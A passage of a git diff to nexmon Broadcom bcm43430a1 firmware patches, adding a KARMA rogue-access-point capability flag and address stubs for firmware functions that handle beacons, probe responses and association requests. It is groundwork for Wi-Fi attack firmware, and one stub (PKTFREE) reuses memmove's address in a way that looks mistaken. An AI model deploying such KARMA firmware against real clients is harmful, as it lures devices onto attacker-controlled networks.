+#define FOREACH_BSS(wlc, idx, cfg) for (idx = 0; (int) idx < WLC_MAXBSSCFG; idx++) if (((cfg = (wlc)->bsscfg[idx]) != NULL) && BSS_MATCH_WLC((wlc), cfg))
+
+//Note on BSSCFG_AP_ENABLED: as the brcmfmac drive is patched to bring up the monitor interface as AP interface, we have two of them
+// in case the monitor interface is up, but only the real AP interface has set its bsscfg to enable
+#define BSSCFG_AP_ENABLED(cfg) (((cfg)->_ap) && ((cfg)->enable))
+
+typedef struct beacon_fixed_params
+{
+ uint32 timestamp[2];
+ uint16 beacon_interval;
+ uint16 caps;
+} beacon_fixed_params_t;
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c
index a9a894862..b59fa8864 100644
--- a/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/patch.c
@@ -41,7 +41,7 @@
#include
#include // capabilities included in a nexmon patch
-int capabilities = NEX_CAP_MONITOR_MODE | NEX_CAP_MONITOR_MODE_RADIOTAP | NEX_CAP_FRAME_INJECTION;
+int capabilities = NEX_CAP_MONITOR_MODE | NEX_CAP_MONITOR_MODE_RADIOTAP | NEX_CAP_FRAME_INJECTION | NEX_CAP_MAME82_KARMA;
// Hook the call to wlc_ucode_write in wlc_ucode_download
__attribute__((at(WLC_UCODE_WRITE_BL_HOOK_ADDR, "", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46)))
diff --git a/patches/common/wrapper.c b/patches/common/wrapper.c
index 734731dd9..1cdac361b 100644
--- a/patches/common/wrapper.c
+++ b/patches/common/wrapper.c
@@ -380,6 +380,7 @@ sprintf(char *buf, const char *format, ...)
RETURN_DUMMY
AT(CHIP_VER_BCM4339, FW_VER_ALL, 0x12824)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x803c7c)
int
strlen(char *str)
RETURN_DUMMY
@@ -1632,6 +1633,101 @@ uint8
wlc_phy_set_txpwr_clamp_acphy(void *pi)
RETURN_DUMMY
+//static void wlc_recv_mgmt_ctl(wlc_info_t *wlc, osl_t *osh, wlc_d11rxhdr_t *wrxh, void *p);
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x008204ec)
+void wlc_recv_mgmt_ctl(void *wlc, void *osh, void *wrxh, void *p)
+VOID_DUMMY
+
+//char *bcm_ether_ntoa(const struct ether_addr *ea, char *buf)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x008040ec)
+char* bcm_ether_ntoa(const struct ether_addr *ea, char *buf)
+RETURN_DUMMY
+
+//bcm_tlv_t *bcm_parse_tlvs(void *buf, int buflen, uint key);
+//0x00804318
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00804318)
+void* bcm_parse_tlvs(void *buf, int buflen, uint key)
+RETURN_DUMMY
+
+//0x00881350
+//wlc_bsscfg_t *wlc_bsscfg_find_by_hwaddr(wlc_info_t *wlc, struct ether_addr *hwaddr)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00881350)
+wlc_bsscfg_t *wlc_bsscfg_find_by_hwaddr(wlc_info_t *wlc, struct ether_addr *hwaddr)
+RETURN_DUMMY
+
+//0x00881360
+//wlc_bsscfg_t *wlc_bsscfg_find_by_bssid(wlc_info_t *wlc, const struct ether_addr *bssid)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00881360)
+wlc_bsscfg_t *wlc_bsscfg_find_by_bssid(wlc_info_t *wlc, const struct ether_addr *bssid)
+RETURN_DUMMY
+
+//0x00829f70
+//void* wlc_frame_get_mgmt(wlc_info_t *wlc, uint16 fc, const struct ether_addr *da, const struct ether_addr *sa, const struct ether_addr *bssid, uint body_len, uint8 **pbody)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00829f70)
+void* wlc_frame_get_mgmt(wlc_info_t *wlc, uint16 fc, const struct ether_addr *da, const struct ether_addr *sa, const struct ether_addr *bssid, uint body_len, uint8 **pbody)
+RETURN_DUMMY
+
+//0x008245e4
+//void wlc_bcn_prb_body(wlc_info_t *wlc, uint type, wlc_bsscfg_t *bsscfg, uint8 *bcn, int *len, bool legacy_tpl)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x008245e4)
+void wlc_bcn_prb_body(wlc_info_t *wlc, uint type, wlc_bsscfg_t *bsscfg, uint8 *bcn, int *len, bool legacy_tpl)
+VOID_DUMMY
+
+//0x0082dff0
+//bool wlc_sendmgmt(wlc_info_t *wlc, void *p, wlc_txq_info_t *qi, struct scb *scb)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x0082dff0)
+bool wlc_sendmgmt(wlc_info_t *wlc, void *p, void *qi, struct scb *scb)
+RETURN_DUMMY
+
+/*
+//0x00839398
+//void wlc_ap_process_assocreq(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg, struct dot11_management_header *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x00839398)
+void wlc_ap_process_assocreq(void *ap, wlc_bsscfg_t *bsscfg, void *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble)
+VOID_DUMMY
+*/
+
+//legacy address 0x00839398 overwritten by flashpatch 53 with "b.w loc._ABS_0x18994"
+//void wlc_ap_process_assocreq(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg, struct dot11_management_header *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x18994)
+void wlc_ap_process_assocreq(void *ap, wlc_bsscfg_t *bsscfg, void *hdr, uint8 *body, uint body_len, struct scb *scb, bool short_preamble)
+VOID_DUMMY
+
+//no hook call so far, as called by driver
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x819aec)
+int wl_open(hnd_dev_t *dev)
+RETURN_DUMMY
+
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x848154)
+int wlc_bsscfg_up(wlc_info_t *wlc, wlc_bsscfg_t *cfg)
+RETURN_DUMMY
+
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x839CC4)
+void wlc_bss_up(wlc_ap_info_t *ap, wlc_bsscfg_t *bsscfg)
+VOID_DUMMY
+
+
+//0x0082b1d4 wlc_lowest_basic_rspec
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x82b1d4)
+ratespec_t wlc_lowest_basic_rspec(wlc_info_t *wlc, wlc_rateset_t *rs)
+RETURN_DUMMY
+
+//0x00824820 wlc_bcn_prb_template
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x824820)
+void wlc_bcn_prb_template(wlc_info_t *wlc, uint type, ratespec_t bcn_rate, wlc_bsscfg_t *cfg, uint16 *buf, int *len)
+VOID_DUMMY
+//--> example usage @0x008377f4 (wlc_ap_doiovar)
+
+//0x00803acc memmove (untested)
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x803acc)
+void *memmove(void *dst, void *src, int len)
+RETURN_DUMMY
+
+//0x00880e60 PKTFREE
+AT(CHIP_VER_BCM43430a1, FW_VER_7_45_41_46, 0x803acc)
+void PKTFREE(void *osh, void* p, int send)
+VOID_DUMMY
+
#undef VOID_DUMMY
#undef RETURN_DUMMY
#undef AT
diff --git a/patches/include/capabilities.h b/patches/include/capabilities.h
index 3d791f985..caa04585f 100644
--- a/patches/include/capabilities.h
+++ b/patches/include/capabilities.h
@@ -39,3 +39,4 @@ extern int capabilities;
#define NEX_CAP_MONITOR_MODE (1 << 0)
#define NEX_CAP_MONITOR_MODE_RADIOTAP (1 << 1)
#define NEX_CAP_FRAME_INJECTION (1 << 2)
+#define NEX_CAP_MAME82_KARMA (1 << 7)